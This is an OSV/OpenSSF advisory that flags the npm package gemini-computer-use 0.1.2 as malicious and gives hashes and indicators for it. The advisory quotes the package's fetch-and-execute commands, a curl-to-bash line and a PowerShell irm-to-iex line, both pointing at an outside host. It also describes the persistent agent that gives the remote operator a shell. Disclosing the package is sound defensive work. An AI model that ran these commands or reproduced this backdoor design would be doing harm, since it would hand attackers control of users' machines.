MAL-2026-16355

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/gemini-computer-use/MAL-2026-16355.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-16355
Published
2026-09-21T17:21:03Z
Modified
2026-09-21T17:45:06Z
Summary
Malicious code in gemini-computer-use (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847)

The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL https://smart-server.online/install.sh | bash' on Unix and powershell -ExecutionPolicy Bypass running irm https://smart-server.online/install.ps1 | iex on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable main branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to wss://smart-server.online/ws/tunnel?user=...&token=... and processes JSON-RPC tools/call messages; the bash_exec handler passes the incoming command field to subprocess.run(cmd, shell=True), giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020266",
            "import_time":  "2026-09-21T17:38:31.930019228Z",
            "modified_time":  "2026-09-21T17:21:03Z",
            "sha256":  "0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847",
            "source":  "amazon-inspector",
            "versions":  [
                "0.1.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / gemini-computer-use

Package

Name
gemini-computer-use
View open source insights on deps.dev
Purl
pkg:npm/gemini-computer-use

Affected ranges

Affected versions

0.*
0.1.2

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "bin/cli.js",
            "sha256":  "5597958a888d9b0adc25cbf5b641e86afb88cb0b7005cb5476829f497ea87fbe",
            "tlsh":  "e7111ff1867b69fd22e105d00352f52ec47f9000708f84b997aeb1c25b82528121a2eb"
        },
        {
            "path":  "core/agent.py",
            "sha256":  "4173bbf1f4776fe1194165780cddc694097a97fb0b5a22ae49ed635c74056440",
            "tlsh":  "51415020857e002383db31645839a9002679da031705c97ab9cea7742f6963ae2b27ff"
        },
        {
            "path":  "install.sh",
            "sha256":  "7d237b5291f6ee2ebbd8c5f8cabda2d955ec04ce965a8170c13a02efab041f8a",
            "tlsh":  "91e2b661b46051b8301d8c7a597a5c043e26256fca35356cf16ea8d83fb8325eef873b"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "gemini-computer-use-0.1.2.tgz",
            "hashes":  {
                "sha1":  "5a26b16325e323581f2a7482ee3f48f28f94ffed",
                "sha512_sri":  "sha512-CIvqNfwR0x68+a9+bK2u7SiM3HkUgc4kUxoo7EjPG1H4z0dRQ+BZkxRlKq5RyYQBIAF1Scv6xNTpII4bK3Xcaw=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/gemini-computer-use/MAL-2026-16355.json"